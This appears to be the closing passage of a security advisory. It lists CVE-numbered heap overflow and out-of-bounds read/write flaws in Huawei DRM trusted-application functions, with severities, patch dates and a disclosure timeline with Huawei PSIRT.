Heap Buffer Overflow in MDrm_TA_OEMCryptoUsageTable_LoadUsageTableHeader Critical CVE-2021-46883 May 2023
OOB Write access in MDrm_TA_CMD_OEMCrypto_CopyBuffer Critical CVE-2021-46884 May 2023
OOB Read Access in MDrm_TA_CMD_Provision_GetRequest High CVE-2021-46885 May 2023
OOB Read Access in MDrm_TA_CMD_OEMCrypto_RewrapDeviceRSAKey30 High CVE-2021-46886 May 2023
OOB Read Access in MDrm_TA_CMD_OEMCrypto_DecryptCENC High CVE-2021-46814 June 2022

Timeline

  • Nov. 03, 2021 - A vulnerability report is sent to Huawei PSIRT.
  • Nov. 22, 2021 - Huawei PSIRT acknowledges the vulnerability report.
  • Jun. 01, 2022 - Huawei PSIRT states that these issues were fixed in the June 2022, August 2022 and May 2023 updates.
  • From Nov. 30, 2022 to Jul, 19 2023 - We exchange regularly about the release of our advisories.